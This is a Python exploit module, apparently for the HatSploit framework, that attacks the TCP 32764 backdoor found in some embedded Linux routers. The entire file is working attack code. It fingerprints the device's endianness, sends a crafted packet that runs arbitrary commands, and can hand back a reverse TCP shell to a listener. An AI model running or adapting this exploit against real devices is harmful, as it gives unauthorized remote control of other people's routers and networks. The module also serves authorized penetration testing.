#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

import struct

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler
from hatsploit.utils.http import HTTPClient
from hatsploit.utils.tcp import TCPClient


class HatSploitModule(Module, Handler, HTTPClient, TCPClient):
    details = {
        'Name': "TCP 32764 Backdoor Remote Code Execution",
        'Module': "exploit/linux/multi/32764_code_execution",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer'
        ],
        'Description': "Remote code execution in multiple devices through TCP 32764 backdoor.",
        'Comments': [
            ''
        ],
        'Platform': "linux",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "linux/mipsbe/shell_reverse_tcp",
        'Categories': None,
        'Architectures': [
            'mipsle',
            'mipsbe',
            'generic'
        ],
        'Platforms': [
            'linux',
            'unix'
        ],
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'BLINDER': {
            'Description': "Use Blinder instead of payload.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    commands = {
        'get_endian': {
            'Description': "Get target device endian.",
            'Usage': "get_endian <remote_host>",
            'MinArgs': 1
        }
    }

    def detect_endian(self, remote_host):
        client = self.open_tcp(remote_host, 32764)
        if not client.connect():
            return None

        client.send(b"abcde")
        response = client.recv(0xC)
        client.disconnect()

        sig, ret_val, ret_len = struct.unpack('<III', response)
        if sig == 0x53634D4D:
            return '<'
        if sig == 0x4D4D6353:
            return '>'
        return None

    def get_endian(self, argc, argv):
        self.print_process("Detecting endian...")
        endian = self.detect_endian(argv[0])

        if endian == '<':
            self.print_information("Endian detected: little")
        elif endian == '>':
            self.print_information("Endian detected: big")
        else:
            self.print_error("Failed to detect endian!")

    def exploit(self, remote_host, command):
        endian = self.detect_endian(remote_host)

        if endian is None:
            return

        headers = struct.pack(endian + 'III', 0x53634D4D, 0x07, len(command.encode())+1)
        trigger = headers + command.encode() + b'\x00'

        client = self.open_tcp(remote_host, 32764)
        if not client.connect():
            return

        client.send(trigger)
        response = client.recv(0xC)

        sig, ret_val, ret_len = struct.unpack(endian + 'III', response)
        response = client.recv(ret_len)
        client.disconnect()

        return response.decode()

    def check(self, remote_host):
        if not self.check_tcp_port(remote_host, 32764):
            self.print_error("Target is not vulnerable!")
            return False

        return True

    def run(self):
        remote_host, local_host, local_port, blinder = self.parse_options(self.options)

        self.print_process(f"Exploiting {remote_host}...")

        if not self.check(remote_host):
            self.print_error(f"Exploit failed!")
            return

        if blinder.lower() in ['yes', 'y']:
            self.blinder(
                sender=self.exploit,
                args=[remote_host]
            )
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                remote_host=remote_host,

                payload=self.payload,
                post="echo",
                delim="&&",

                sender=self.exploit,
                args=[remote_host]
            )
